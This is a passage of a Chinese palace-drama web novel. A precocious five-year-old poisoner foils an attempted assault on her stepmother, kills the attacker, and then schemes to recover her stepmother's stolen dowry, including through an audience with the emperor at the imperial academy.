“芷嫣表妹怎么还是这么天真啊!”何耀祖有恃无恐的掏了掏耳朵,色眯眯的看着她:“芷媃表妹是永安侯嫡次女,还是太子妃,怎么会来这里?她比你更需要先夫人的嫁妆。至于你,不过嫁了一个残废,还真把自己当璃王妃了?” “你才是残废,你全家都是残废,敢骂王爷,哪儿来的胆子?!”璃王妃声色内敛,觉得有些不对劲了。 何耀祖慢慢逼近,璃王妃转身就想跑。 可何耀祖却把她扯到怀里,手指在她腰腹摩挲:“表妹腰肢真软,璃王那个残废满足不了你吧?可怜表妹人比花娇,嫁给残废真是暴殄天物了。今儿个…表哥就让你体验一下做女人的滋味如何?” 璃王妃脸色一白,不停挣扎起来。 可她只是一个弱女子,何耀祖再不济也是一个成年男人,她哪里挣脱得开。 腰腹上的触感无比黏滑恶心,就像是一条毒蛇顺着她腰腹蔓延。 璃王妃身上冒出鸡皮疙瘩,急得都哭了:“松开,你给我松开,我可是璃王妃,你就不怕璃王找你麻烦吗?” “芷媃表妹可是太子妃,我为什么要怕璃王?你还是乖乖从了我吧,免得遭受皮肉之苦。” 何耀祖说罢扯开了她的衣襟,里面淡红色肚兜若隐若现。 璃王妃脸色一白,也是真的怕了。 她就不该相信秦芷媃的话,一个人跑出来。 “放开,你放开…唔…” 何耀祖捂住了她的嘴,璃王妃眼底满是惊恐。 感受到何耀祖开始扯她亵裤了,璃王妃眼底满是绝望! 就在这时,何耀祖被人一脚踹飞。 大格和二格冲了过去,对着他一阵拳打脚踢。 璃王妃蹲下身捂住自己的胸口,浑身瑟瑟发抖。 抬眸看去,小小的奶包子穿着一身夜行衣,可爱的包子脸此时满是阴沉之色。 “蕊…蕊蕊?”璃王妃怀疑自己看错了:“你怎么在这?” “路过!”唐蕊挡在璃王妃面前,冷冷的看着何耀祖:“别打死了,堵住他的嘴绑回去,交给爹爹发落。” “别!”璃王妃猛的反应过来,脸上最后一丝血色都消失得干干净净:“别带他回去,别告诉王爷…” 唐蕊皱眉:“可是母妃,除了爹爹,还有谁能帮你出头呢?” “没事,我不用谁出头,不能让王爷知道这事,不然…不然我…呜呜…” “王妃…” 容嬷嬷心疼的抱住璃王妃,都不知道该说什么才好。 她也知道,女子名节无比重要,这事不能让璃王知道。 但…明月一直在暗处啊! 王爷迟早会知道的! 唐蕊突然明白了璃王妃的顾虑,沉吟片刻,来到奄奄一息的何耀祖面前:“大格二格,你们扶母妃上马车,我就来。” “是!”大格二格没有多想,反正何耀祖被他俩揍得动弹不得了,对唐蕊也没威胁。 等两人扶着璃王妃离开后,唐蕊摸出一个纸包打开,捏着何耀祖的嘴给他灌了进去。 何耀祖不停咳嗽起来,有气无力道:“你…你给我…吃了什么?” “好东西哦,你会感谢我哒!”唐蕊诡异一笑,何耀祖无端端头皮发麻。 何耀祖爬起来就跑,还不停放狠话:“你给我等着,我不会就这么算了的,明天我就画璃王妃的美人图,传遍大街小巷…” “…”那你要有命才行哦! 母妃不想告诉爹爹,我又要保住母亲名节,只能让你死咯。 唐蕊耸耸肩,背着小手朝马车走去。 跑远了何耀祖停了下来,捂着胸口直喘气:“那小丫头…真踏马邪门…” 想起不识时务的璃王妃,何耀祖又气得锤墙:“表妹吩咐的事都没办好,还不知道会怎么骂我。” “算了,还是先回去吧,总归是我表妹,又不能真把我怎样!” 何耀祖自我安慰了一番,往前走去。 突然,他整个人顿住了。 脑子传来剧痛,身体开始痉挛抽搐,腿一软倒在地上。 四肢逐渐发冷,肚子也痛了起来,呼吸越来越急促,止不住的呕吐,吐出来的还都是血。 要…死了吗? 为什么? 何耀祖脸色惨白,眼神涣散,呼吸渐渐停止。 微风拂过,一道人影如鬼魅般出现在他面前。 明月检查了一下尸体,沉吟片刻后,拿出一个小瓷瓶打开,往尸体上一倒。 随着滋啦啦的声音,尸体连皮带骨化成浓水,原地只剩一个人形水渍。 处理完尸体,明月拿出小本本记了下来,完了还补充一句:【死者身中不知名奇毒,小郡主全程脸不红心不跳,一看就是专业的。】 他如此尽心尽责,这个月王爷应该给他涨月给了吧? 明月自我肯定的点点头,一个闪身消失在原地,好像从来都没出现过一样。 … 马车上! 璃王妃的情绪终于稳定下来了,鼻子动了动,后知后觉反应过来:“车里怎么一股臭味?” 容嬷嬷:“…” 外面的大格和二格:“…” “不要在意这些细节!”唐蕊可不想吓到美哒哒的母妃,直接岔开话题:“母妃,刚那人是谁啊?这么晚了,你为什么会在这里?” 璃王妃闻言眼神黯然下来,也不知道是受惊过度还是急着想找人倾诉,一五一十娓娓道来:“那人是何耀祖…” 璃王妃名唤秦芷嫣,是永安侯原配夫人生下的女儿。 但原配夫人死得早,璃王妃从此就成了没娘的小可怜。 五年前庶女秦芷韵勾搭上了太子殿下,为了提高她的身价,永安侯二话不说提了她娘,原本的何贵妾为继室。 连带着秦芷韵也把名字改成了从女的秦芷媃。 自此,璃王妃的日子更难过了。 就因为秦芷媃有太子撑腰,在府里处处踩她一头,永安侯为了讨好太子,也无条件站在她们那边。 最后甚至贪墨了璃王妃生母留给她的嫁妆。 到璃王妃嫁给璃王的时候,只给了她十八抬嫁妆,还都是不值钱的土特产和布匹,以及一个破旧的庄子。 璃王妃曾无数次找秦芷媃讨要嫁妆,秦芷媃要么已读不回,要么已读乱回。 时间久了,璃王妃也死了心,不准备讨要这笔嫁妆了,关起门来过自己的小日子。 第12章 别是终于忍不住了,要弑父吧? 但…唐蕊来了。 府里的女人,甚至连侍妾都有私房钱给唐蕊准备各种贵重礼物,偏偏她这个正妃囊中羞涩,实在拿不出什么像样的礼物。 于是,璃王妃又想起了这批嫁妆,想要讨回来。 这次秦芷媃倒是没乱回了,约她在这里见面,还说把嫁妆还给她。 璃王妃信以为真,悄悄跑了出来… 因为囊中羞涩对她而言是很丢脸的事,她也没告诉任何人。 谁曾想,等在那里的不是秦芷媃,而是何耀祖这个人渣。 璃王妃此时对秦芷媃恨到了极点:“她已经成了太子妃,还有什么不满足的?明明我跟她井水不犯河水,如果她不想还我嫁妆,不还就是了,为什么还要让何耀祖来污我清白?我…我对不起王爷呜呜呜…” “母妃别哭,别哭哦!”唐蕊心疼极了,掏出小手帕给她擦拭眼泪,一时间也不知道该怎么安慰。 殊不知替她拭泪也是一种安慰,璃王妃哭得更伤心了:“我从没想过跟她争什么,难道就是因为她当初怂恿爹让我嫁给何耀祖,我没答应么?太可恶了,真是太可恶了…” 唐蕊好奇道:“那你为什么不嫁捏?何耀祖至少四肢健全昂,爹爹腿脚不好,你嫁过来也是守活寡哦。” 虽然便宜得爹长得很好看,但正常女人都不会嫁给一个残废吧! 璃王妃摇摇头,不知想到什么,眼底划过一丝柔色:“我生母早逝,虽是嫡女却不得父亲喜欢,家里的奴才也见风使舵…只有你爹,那年秦芷媃及笄礼,而我被父亲关在柴房,快饿死的时候,是他发现了奄奄一息的我,给了我一点果腹的食物。救命之恩当以身相许,王爷乃是大夏战神,深受百姓爱戴,何耀祖那种纨绔哪里及得上他半分?别说他不能人道,就算是死了,我也愿意随他而去。” 唐蕊:“…”懂了,恋爱脑! 还是没长嘴的恋爱脑。 看便宜爹那样子,只把母妃当管家。 或许还会以为母妃嫁给他另有所图吧! 反正两人相处起来就像是上级对下级,哪里像夫妻哇! “母妃别难过啦,这件事我不说,容嬷嬷也不说,大格二格更不准说,你还是清清白白哒!” 唐蕊使出浑身解数,努力卖萌,表情浮夸。 璃王妃的心情终于好了一些。 出璃王府的时候,四个人翻墙出去。 回璃王府的时候,四拖一。 古代女子重视自己的清白,闺女更注重自己的言行,更别说还刚被何耀祖那渣男冒犯,璃王妃死活不让大格和二格抱。 还好墙角有个狗洞,最后堂堂璃王妃在唐蕊的怂恿下,是钻狗洞回家的。 一行人刚各回各院没多久,明月就去了司徒澈的书房,把所有经过全都告诉了司徒澈,并附上自己的小本本。 司徒澈接过本本翻了翻,眼尾微微抽搐起来。 他一直都知道明月是个奇葩,没想到这么奇葩。 每件事记录后都会在下面补一句——郡主很专业! 简直有毒! 司徒澈放下本本,一言难尽的看着他:“可以不用写补充。” 潜台词:不要提醒我,我的女儿是个披着萌娃皮会杀人的小变态,我会觉得很幻灭,幻灭之后所剩不多的父爱又会流失大半! 明月懵了一会儿,头顶缓缓冒出一个布灵布灵的问号! 所以这意思是… “这个月不加月给吗?” “…”这关月给什么事啊? 老子跟你扯东,你要跟老子扯西是吗? 再说了,你踏马月给都是清风的三倍了,还要加? 有毒吗你? 司徒澈头疼的揉了揉眉心,已经习惯了这憨货的尿性:“加!” 明月一秒圆满了,露出一个及其僵硬且诡异的笑:“谢王爷!” 司徒澈额头滑落一丝黑线:“…谁教你这么笑的?” 本来就很憨批了,别再变态了啊! 明月收起笑脸,无辜眨眨眼:“郡主杀人这么笑,我觉得好看!” “!!”哪儿好看了? 就问你哪儿好看了? 你是瞎还是审美有问题? 每次跟明月对话,感觉自己寿命都要-1。 偏偏这货武功是几个暗卫里最高的,舍不得扔了。 司徒澈正想好好教教明月,正常的微笑方式,房门被人敲响。 唐蕊的小奶音响起:“爹爹,你睡了么?” 司徒澈瞥了明月一眼,明月秒懂,一跃上梁,假装自己不在服务区。 “进!” 得到首肯,唐蕊推门而入,又立刻转身做贼似的往外看了看,确定没人后关上了房门。 司徒澈看着她鬼精鬼精的样子,心情很复杂。 小小一只,敢去乱葬岗分尸,好像还会制蛊。 哦,她还杀人! 谁家五岁的孩子跟她一样啊? 一时间司徒澈不知道该用什么态度面对这个披着人皮的小魔女。 主要是从小到大父皇母后也没教过他,该怎么面对变态啊:“…你要干嘛?” 别是终于忍不住了,要弑父吧? 那么问题来了,他是反抗还是反杀呢? “爹爹,我给你说哦!” 唐蕊迈着小腿儿啪嗒啪嗒朝他跑来。 司徒澈眉心狂跳,往后缩了缩,大吼一声:“停!” 唐蕊猛的刹车,不明所以的看着他。 司徒澈后知后觉反应过来,自己态度有丢丢不对。 女儿女儿,自己的女儿! 催眠自己无数次,司徒澈终于冷静下来:“这么晚找本王有何事?” “我回去后仔细想了想,觉得还是要跟你说说母妃的事哦!” 提到正题,唐蕊也没空思考他的态度问题了:“爹爹,我跟你说哦,母妃好好可怜哒,你一定要给她出气!” 司徒澈不动声色扫了一眼梁上,狐疑道:“她怎么就可怜了?” “是这样哦…” 唐蕊绘声绘色,把璃王妃的悲惨身世说了一遍,最后还学着璃王妃的样子擦了擦眼泪,嗲声嗲气模仿:“别说他不能人道,就算是死了,我也愿意随他而去。” 司徒澈:“……”演得很好,下次别演了,有点辣眼睛! “爹爹你说,母妃是不是很可怜?”唐蕊巴巴的看着他。 “有、有吧…” 司徒澈有些不确定。 府里的女人要么是皇帝做主给他找的,要么是皇后看不惯他,硬塞进来的。 第13章 还是母妃最好 两个老的明明关系不好,在这件事上却很有默契保持一致,都不会征求他的意见。 他从没想过这些女人会对他用情至深,也没想过去了解她们的生平! 唐蕊得到了自己想要的答案,进一步问道:“那你喜欢母妃吗?” “我…” 司徒澈眉头紧皱,憋了好久才憋出一句:“什么是喜欢?” 唐蕊瞪大眼睛,像是看外星人一样看着他:“爹爹,你是传说中的直男癌哦?” “什么乱七八糟的!” 司徒澈不想把自己的脑细胞浪费在这些情情爱爱的事情上,简单粗暴道:“我不知道什么是喜欢,但我是她们的夫,是她们的依靠,我也会承担自己的责任,这不就够了?以前王妃从没对我说过这些,我也不知道她过得这么惨,这是我的疏忽。” 唐蕊摸着下巴赞同点头:“你这么想也对!” 愿意负责任的男人就是好男人。 什么一夫一妻,在古代提这些太不现实了。 更别说司徒澈是王爷,又不是古言文里的男主。 至于她,她长大了也不会遵守一夫一妻,她要一妻多夫! 木哈哈哈… “那爹爹,你打算怎么帮母妃出气哦?” “这你别管了,我会帮她拿回嫁妆。” “行叭!”唐蕊不是个打破砂锅问到底的的人。 除了拿回嫁妆,还有更重要的问题。 “爹爹,以后你要对母妃好一点哦,没事去陪她用膳,或者饭后约她出去走走,谈谈人生理想,诗词歌赋。” 唐蕊说到这,怀疑的看着他:“爹爹,你不会是个文盲吧?” 司徒澈:“…” 哈! 笑死! 他文盲? 连学问最好的老五都不敢这么说好吧? 司徒澈扶额,很是心累:“你可以滚了!” “好嘛,那你要记住,没事多陪陪母妃哦。要是没耐心,可以试想一下,你小时候很希望皇爷爷陪你,可皇爷爷不陪,你是不是会很难过?母妃的心情跟你小时候的心情是一样的哦。” 司徒澈闻言一愣! 又开始重新审视这个女儿。 唐蕊…是不是也很希望自己能多陪陪她? 眼看唐蕊开门正要离开,司徒澈别开视线,有些不自在:“明天就要去国学监了,本王…本王明天亲自送你过去。” “好哒,谢谢爹爹,爹爹早点休息哦,晚安爱你!”唐蕊咧嘴一笑,蹦蹦跳跳的离开了。 司徒澈轻笑一声。 也许,女儿只是有点变态,不是很变态… 至于王妃,他确实该尽一尽丈夫的责任了。 “明月!” 明月闻言跳了下来。 司徒澈淡淡道:“带几个身手好的暗卫去东宫,把王妃的嫁妆拿回来。” 明月歪着头,有些没听懂:“偷吗?” “…”偷你大爷啊! 会不会用词? “那叫物归原主!” “哦!” 明月听懂了:“偷!” 司徒澈磨牙,忍了又忍,实在没忍住,操起桌上的书砸了过去。 明月接住书,面无表情道:“彩莹的事查清楚了,是刘姬指使。” “她挺厉害的!”司徒澈冷笑一声:“拉去暗室处理了。” 明月点点头,一个闪身消失在原地。 然而… 等他到了刘姬院里才发现,刘姬早就不见了。 … 翌日一早,天还没亮,唐蕊就被容嬷嬷挖了起来。 唐蕊全程闭着眼。 闭着眼让佣人们洗脸梳妆,闭着眼让容嬷嬷换衣服,闭着眼被璃王妃抱进马车。 司徒澈早就在马车里等着了,看到她呼呼大睡,脸色一黑。 还没来得及发火,璃王妃就小声道:“王爷,让蕊蕊多睡一会儿吧,她正是长身体的时候!” “…”你不是最爱本王嘛? 怎么感觉你更爱便宜闺女呢! 司徒澈凉凉的瞥了她一眼,还是选择性闭嘴了。 “这里一个食盒是给蕊蕊准备的早膳,还有一个食盒是给蕊蕊准备的午膳,一会儿她要是饿醒了,就把装早膳的食盒给她,要是她没醒,就麻烦您把装早膳的食盒带回来。” 璃王妃说罢,又让下人递上两个食盒。 容嬷嬷说了,唐蕊食量很大,还只爱吃肉和菜,不爱吃米饭。 这种工作不能便宜朱庶妃,她执掌中馈,准备的菜色比朱庶妃准备的菜好。 璃王妃完全忘了,以前她从不中饱私囊,还崇尚节俭。 可现在为了唐蕊,她完全忘记节俭为何物了,只大气的扔给厨房一句话:“蕊蕊要吃什么就给她做什么,大不了本王妃每月多给你们厨房拨一笔银子。” 有了她这句话,厨子们终于有了施展身手的机会。 唐蕊也终于达成衣食无忧成就! “知道了!”司徒澈很无语。 准备午膳就算了,国学监的学生中午都不回家,要么自家准备午膳,要么去外面吃。 可谁一准备就是两个食盒的? 还要等唐蕊醒了吃,没醒就带回来… 哪有这么宠孩子的? 就很离谱! 马车晃晃悠悠朝国学监而去,途中也把唐蕊晃醒了。 睁眼就是便宜爹的美颜暴击。 唐蕊嘿嘿一笑很是猥琐,还以为自己在梦中:“新来的啊?” 司徒澈冷不丁打了个寒颤,觉得便宜闺女没在想人事儿:“你又发什么疯?” 听到这声音,唐蕊一秒清醒,如僵尸般直挺挺的坐了起来。 感受到马车的摇晃,后知后觉:“这是去国子监了?” “你觉得呢?” 平时挺机灵,杀人的时候挺干脆,怎么现在又开始犯蠢了? 司徒澈把早膳食盒拿了过来:“这是王妃给你准备的早膳。” “哇,还是母妃最好!”唐蕊一点都不客气,打开食盒拿出点心就开炫。 “…”看她吃得这么香,司徒澈都觉得有点饿了。 但他还要脸,不会跟小孩子抢东西吃。 “去了国子监,要好好跟夫子学,不要闹事,也别怕事。对了,你那些毒蛇毒虫毒药,没有带吧?” “木有木有!”唐蕊猛摇头。 司徒澈危险的眯起眼眸,朝她伸出手:“拿出来!” 国学监里的孩子不是皇亲国戚就是重臣子女,被这妮子玩死还得了? 唐蕊捂紧衣服:“真的木有哦,我发四!” 司徒澈耐心告罄:“本王再说一遍,拿出来。” 第14章 一柱擎天散 见便宜爹真的生气了,唐蕊撇撇嘴,依依不舍的抬起小胖手伸进兜兜。 所谓兜兜就是个小小的斜挎包,还是容嬷嬷按照她的描述缝制的。 她从衣服兜兜里掏出一把纸包,又掏出了一把。 司徒澈瞄了一眼,整张脸都黑了下来。 好家伙,每个纸包都还写了名儿的。 鹤顶红、鸩毒、穿肠粉、夺魄散什么的就算了… 司徒澈伸出两根手指夹起一个名为‘一柱擎天散’的纸包,咬牙切齿道:“这玩意,不是我想的那种药吧?” “…”糟糕,怎么一不小心把这东西拿出来了? 唐蕊一脸无辜:“爹爹,你在说什么,我听不懂哦!” “唐蕊!”司徒澈怒了:“你才五岁,为什么会有这种药?给本王从实招来!” 眼看司徒澈真的生气了,唐蕊也不敢装了,捏着自己的耳朵跪好,一五一十老实交代:“不是我的,是我师傅的。离开的时候我没时间带自己调制的毒药,就顺手摸了师傅一把,这些药粉都是我从师傅那摸的哦。” 说到这,唐蕊嘴巴一瘪,可怜巴巴:“我一个不会武功的小娃娃,出门在外好危险的,就想着偷点师傅的毒药防身,我也不知道师傅会什么会有这种药哦。” 司徒澈火气消了一些,皱眉道:“你师傅是…” “爹爹对不起,我不能说!”唐蕊垂下小脑袋:“我只能告诉你,师傅不是坏人,没有师傅我早就死翘翘咯。” 言辞切切,可怜兮兮。 司徒澈看了她一会儿,良久…慢慢移开视线:“罢了,你不想说本王也不逼你,但这些害人的药,本王没收。” “哦…”收呗,大不了她自己再买药配置就是咯。 再说了,一个专业的毒师怎么可能把毒药全藏在同一个地方,这不是等着被人一锅端么? “行了,快吃!”司徒澈把食盒往她面前推了推。 … 小半个时辰后,国学监终于到了。 清风把司徒澈的轮椅拿下来,又扶着司徒澈坐上去,然后才把小唐蕊抱出来。 国学监的院判是大学士,姓周,一位六十多岁的白胡子老头。 许是皇帝提前给国学监打过招呼,周院判早就在门口候着了。 看到司徒澈,周院判微微一笑:“璃王殿下,好久不见。” “周公别来无恙!”司徒澈礼貌颔首,为他介绍唐蕊。 周学士笑道:“老夫听陛下说起过,郡主小小年纪,熟读四书五经,博学多才,就与王爷小时候一模一样。” 司徒澈淡淡一笑:“谬赞!” 唐蕊惊讶道:“学士爷爷,我爹爹小时候念书很厉害么?” “是啊!王爷三岁能文,四岁能武,十二岁便领兵北伐,大获全胜!” 说到这,周学士看着司徒澈的腿,眼底惋惜一闪而逝:“可惜…” 可惜什么,不言而喻! 司徒澈不喜欢这的目光,正要客套几句离开时,就听唐蕊奶声奶气掷地有声:“老骥伏枥志在千里,烈士暮年壮心不已。我爹爹还没到暮年呢,就算不良于行,也不影响他排兵布阵,我爹爹依旧是大夏战神。” 司徒澈闻言一愣,丝丝感动如同穿透晨雾的光,死寂的心暖流涌动。 这些年他听过太多惋惜的话,从没有哪个人能像唐蕊一般,说出截然不同的话来。 她没有觉得惋惜,甚至以他为荣,更坚信他还能为大夏再战。 周学士诧异的看着唐蕊,继而哈哈大笑起来:“好好好,虎父无犬女。璃王爷,郡主果真与你一般无二。” “过奖!”毕竟是他的种,像他也很正常吧! 璃王完全控制不住上扬的嘴角了。 又与周学士寒暄几句后,司徒澈再次敲打了唐蕊一番,这才心满意足的离开。 周学士带着唐蕊进入国学监:“郡主,国学监每隔七天沐修两天,平时你们要学琴棋书画诗词歌赋,还有四书五经。郡主底子好,相信学什么都很快。” “还行叭!”前世她好歹是名校文科生,文学方面应该问题不大。 就是琴棋书画… 棋不会! 琴…吉他算琴吗? 唐蕊胡思乱想着,被周学士带到了学习的地方。 刚一进去,一双双眼睛齐刷刷的看了过来,都是一些小萝卜头。 其中还有一个老熟人呢! 司徒嫱看到唐蕊,可谓是仇人见面,扯了扯自己弟妹:“就是她,她就是唐蕊,上次害我在皇爷爷面前出丑的贱人。你俩不准跟她玩,听到没有?” 与她同为庶女的司徒薇皱了皱眉:“我知道了。” 庶子司徒瑾跟她关系最好,当即看唐蕊不顺眼了:“长姐,你等着,一会儿我给你报仇!” “这还差不多!”司徒嫱不怀好意的朝唐蕊笑。 唐蕊当她神经病了。 周学士向大家介绍完唐蕊后,让她随便找个位置坐。 唐蕊闻言立刻去了倒数第二排。 “好,人都齐了,现在开始讲课。” 周学士的课,几乎没有孩子敢开小差。 除了一个人,唐蕊还好巧不巧的坐在了这个人身边。 司徒安好奇的瞅着唐蕊,胳膊碰了碰她的胳膊,小声哔哔:“喂,你就是七皇兄的私生女啊!” “…”人言否? 唐蕊瞪了他一眼:“你喊我爹爹皇兄?你是皇爷爷的儿砸?” “对呀!我是司徒安,今年十岁,排行十一,也是你的皇叔。”司徒安自我介绍了一番后,又道:“司徒嫱一直在瞪你,你得罪她啦?” 唐蕊眼珠子一转,吸了吸鼻子,开始装可怜了:“我也布吉岛算不算得罪,昨天爹爹带我进宫认亲,皇爷爷说要封我做郡主,司徒嫱就不开心了,非要跟我比试背诗,然后她输了,就一直瞪我。” “我就问问,你别哭啊!” 司徒安掏出手帕递给她,让她擦金豆子:“司徒嫱一直都很想做郡主,估计是皇爷爷封了你,没封她,才对你有意见。” 坐在唐蕊右边的大男孩听到了他俩嘀咕,嗤笑一声:“真是不幸。” 司徒安看向他,不明所以:“顾楠聿,什么不幸?” 顾楠聿神色淡淡:“都说司徒嫱是太子精心培养的才女,心胸却如此狭隘。那是不是说明,太子的人品也有问题?大夏有这样的储君,不是不幸是什么?” 第15章 顾楠聿,疯批 司徒安眉心狂跳,赶紧去看周学士,见他没有注意到这边,才瞪着顾楠聿:“你丫的胆子也太大了,妄议当朝太子,不要命了?” 顾楠聿扬唇一笑,目不斜视:“太子说到底也是皇上的儿子,很巧,你也是,那你为何不能做太子?” “…”真是个疯批! 仗着自家爷爷是当朝丞相,位高权重又得父皇信赖,啥话都敢说。 “以后离他远点。”司徒安对唐蕊说道。 说完发现唐蕊面向顾楠聿那边,一动不动没反应,于是扭住她胖乎乎的肉脸,让她把脑袋转过来。 唐蕊脑袋转了,眼珠却一直都没转,直愣愣的盯着顾楠聿。 司徒安眼尾一抽:“你这什么表情。” “木有木有。”唐蕊挥开他的爪子,双眼放光的看着顾楠聿:“小盆友,你是谁哇?” 长得也太放肆了叭! 按照她前世母胎单身二十五年,阅尽会所无数美男的经验来看,这位长大了绝对是九十八分美男,剩下两分不给,完全是怕他骄傲。 “他是丞相的宝贝孙子顾楠聿,今年十一岁。”司徒安简直没眼看:“要不你把口水擦擦再说?” “胡说,我哪有口水。”她只是单纯的觉得顾楠聿长得很漂亮,怎么可能丧心病狂的对一个十一岁的孩子有想法。 就算有想法,也得等他长大了才会有啊! 司徒安切了一声。 又一个花痴! 顾楠聿最讨厌花痴。 顾楠聿也觉得自己应该讨厌,就像是讨厌司徒嫱一样。 但…唐蕊的眼里只有纯纯的欣赏,并没有多余的情绪。 他也没有恶心的感觉,反而觉得有些好笑:“你是没流口水,但你流鼻涕了。” 唐蕊:“…” 默默捂住自己的鼻子,肉乎乎的小脸也慢慢红了。 应该是昨晚出去浪受了点凉。 小孩子的抵抗力太差了,稍微吹点风就会轻微感冒,一感冒就会流鼻涕。 在神医谷的时候,她不需要注意形象,流着流着就习惯了。 忘了现在不是在神医谷,别人会笑话她。 唐蕊随便擦了擦,顾楠聿看不下去了,掏出手帕递给她:“用这个擦!” “谢谢哦!”唐蕊流着鼻涕冲他露出个可可爱爱的笑容,这才接过手帕。 前面的司徒嫱不时回头注意着这边,看到唐蕊和司徒安互动,已经非常窝火了。 又见顾楠聿把自己的手帕都给了唐蕊,脸色已经不能用难看来形容。 司徒安是贵妃所出,因为是皇帝最小的儿子,非常受宠,平时眼高于顶,对谁都没好脸色。 顾楠聿是丞相的宝贝嫡孙,小小年纪学富五车,长得还很好看,也是她瞧好的未来夫婿人选。 可是每次她凑上去,顾楠聿都很冷淡。 没想到这两个人,竟然都对唐蕊这么好。 唐蕊凭什么? 明明是个连自己都不如的私生女! 司徒嫱没忍住,起身指着他们跟周学士告状:“学士,他们在说话。” 唐蕊:“…” 司徒安和顾楠聿:“…” 周学士皱了皱眉:“唐蕊,十一皇子,顾楠聿,你们怎么回事?” 司徒安抓着脑门,词穷。 顾楠聿垂下眼眸,不语。 唐蕊眼珠子一转,奶声奶气道:“学士,我们是在商讨你讲的嘉辉皇帝仁政哦。” 司徒安眼睛亮了:“对,没错,我们可没说和课堂无关的话题。” 司徒嫱才不信,看唐蕊时眼底还带着一丝不屑:“一派胡言,唐蕊她懂什么是嘉辉皇帝吗?懂什么是仁政吗?” 周学士点点头,赞同道:“是啊,唐蕊,本学士讲的课题你能听懂吗?” “我怎么不懂了?”唐蕊不服气道:“嘉辉皇帝推行仁政主要体现在维护皇权统治稳定和社会和谐方面,减轻赋税,重视民生,兴修水利,有效减轻百姓负担并促进了大夏经济发展。但学生以为,仁政也有弊端。” 萝卜头们听得一愣一愣的,没想到唐蕊小小年纪,还真听得懂。 唐蕊:开玩笑,一岁的时候她就把师傅书阁的书翻完了,对这个时代背景很了解好吧! 司徒嫱也没想到唐蕊真能说出个四五六来,但她很快抓住了唐蕊话里的漏洞:“哈?你居然说先皇的仁政有弊端?唐蕊,你以为你是谁?” 唐蕊撇撇嘴:“你很好笑诶,从古至今凡事有利就有弊,仁政就不能有弊端吗?” 司徒嫱:“呵呵…你…” “司徒嫱,你闭嘴!”周学士打断了司徒嫱的嘲讽,再看唐蕊时,眼底带着一丝亮光:“唐蕊,你说说,仁政有何弊端呢?” “朕也想知道!”皇帝的声音传来! 学生们回头看去,只见皇帝身着便服,带着陈德福公公迈步而来。 小萝卜头们一个个神色大惊,齐齐起身跪下问安。 “哈哈…都起来吧!”皇帝笑呵呵的摆摆手:“今天是唐蕊第一天到国学监,朕闲着没事,就来看看。” 皇帝说罢话音一转:“唐蕊,你说说,德政有何弊端啊?” 唐蕊怕怕的瞅了他一眼,小声嘀咕:“皇爷爷,我不敢说,我还这么年轻,不想死哦。” 皇帝笑道:“你说,朕恕你无罪。” “那…那我就说了哦!”唐蕊见皇帝没有生气的迹象,这才放下心来:“仁政的弊端有三,第一,决策效率低下,过度依赖‘仁政’可能导致决策拖沓,官僚重臣层层指令下达落不到实处哦。第二,统治腐朽风险,长期推行仁政可能滋生官僚腐败,导致社会发展停滞。第三,外部压力应对不足。仁政往往忽视军事与外交,更有甚者重文轻武,导致国家面临外部威胁时应对被动哦。” 皇帝愣了几秒,继而哈哈大笑起来:“周学士,你觉得朕这孙女说的如何?” 周学士笑道:“臣也没想到唐蕊看得这么透彻。” 陈德福见皇帝高兴,也赶紧夸道:“陛下,昭华郡主大才呀!” “是啊,可惜了…”皇帝点点头,看着唐蕊眸色有些复杂。 可惜是个女儿身,若是男儿,那该多好。 第16章 昭华,璃王府很穷吗? 唐蕊自然知道皇帝说的可惜是啥意思,嘿嘿傻笑:“不可惜哦,蕊蕊还是小宝贝,主要任务是吃饱饱,睡好好。只要没长残,都不可惜哦。” “哈哈哈…”童言童语天真无邪,又逗得皇帝哈哈大笑:“好孩子,起来吧!” “谢谢皇爷爷!谢谢谢谢!”唐蕊站起身来,第一时间盯住了他的玉佩,眼睛放光:“皇爷爷,你今天带的玉佩也好好看哦,奶白奶白的,你看是不是很衬我的肤色?” 皇帝眼尾一抽! 陈德福捂脸。 又来了! 刚刚不是还很害怕陛下的嘛?怎么一看到值钱的物件就不怕了? 皇帝也是醉了:“昭华,璃王府很穷吗?” 铺垫已经备好。 唐蕊小大人似的叹了口气,暗戳戳给太子上眼药了:“本来不穷的,可母妃的亲娘留给她的嫁妆,全都被太子妃婶婶占了,母妃很穷,连带着我也很穷,皇爷爷你看我带的首饰,还是去年的样式哦。” 皇帝闻言脸色沉了下来:“有这事?” 司徒嫱眉心狂跳,赶紧开口:“我母妃哪有占你母妃的嫁妆?你别在这信口雌黄!” 唐蕊撇撇嘴,小声嘀咕:“我母妃的娘可是世家女儿,你母妃的娘曾经是外公的贵妾,我没记错的话是七品小官何家的女儿叭?太子妃婶婶嫁给太子后,他才跟着升了官。要不是占了我母妃的嫁妆,那你意思就是何家贪污了哦?不然哪来那么大的财力,给你母妃那么多嫁妆哦?” “你你你…”司徒嫱脸色骤变,支支吾吾说不出一句完整的话来。 皇帝侧头问陈德福:“这事是不是真的?” 陈德福擦了擦脑门的冷汗,老实交代:“皇上,具体情况奴才也不知道,奴才只是个宦官,哪能去关注太子妃有哪些嫁妆呀?只不过…当初太子妃嫁给太子时,嫁妆确实不少,足足一百二十八抬呢!” “很好,很好,这就是皇后选的太子妃,尽做些小家子事儿!” 皇帝怒极反笑,再看唐蕊时,眼底又重新有了温度:“昭华,你放心,这事朕会给你母妃做主。” 目的达到,唐蕊笑得很无齿,好听的话儿不断:“谢谢皇爷爷,皇爷爷圣明,皇爷爷千秋万代,一统天下,长命十万岁。” “哈哈哈…”一句话,又逗得皇帝哈哈大笑起来。 本就是最爱的儿子的女儿,嘴巴还这么甜,皇帝喜欢得不得了。 … 离开国学监后,皇帝立刻回宫,召见了太子,把他一顿臭骂。 太子被皇帝喷成了筛子,回到东宫后二话不说去了秦芷媃屋里,把她也喷成了筛子,并警告她:“立刻,马上,把璃王妃的嫁妆补全,还回去!” 秦芷媃咬着唇,很是委屈:“太子,要是还回去,我们东宫就没什么钱了。” 太子哪里信,声音顿时拔高了几个度:“孤是太子,会没钱?秦芷媃,孤娶你是你因为母后之命,你也别给脸不要脸,给孤抹黑,东宫你要是管不好,多得是女人愿意管!” 抢占别人的嫁妆,亏她想得出来! 太子拂袖而去。 秦芷媃心里发苦,气得眼泪直掉。 嫁进来后她才知道,东宫有多穷。 是,太子的月给是很多,但是皇帝儿子和孙子也很多啊! 今天这个过寿,明天那个生孩子,送礼不要钱的吗? 秦芷媃都怀疑,皇后之所以看中她,为的就是秦芷嫣的嫁妆! “怎么办?这可怎么办?”秦芷媃不想还。 在她眼底,这些嫁妆就是属于她的。 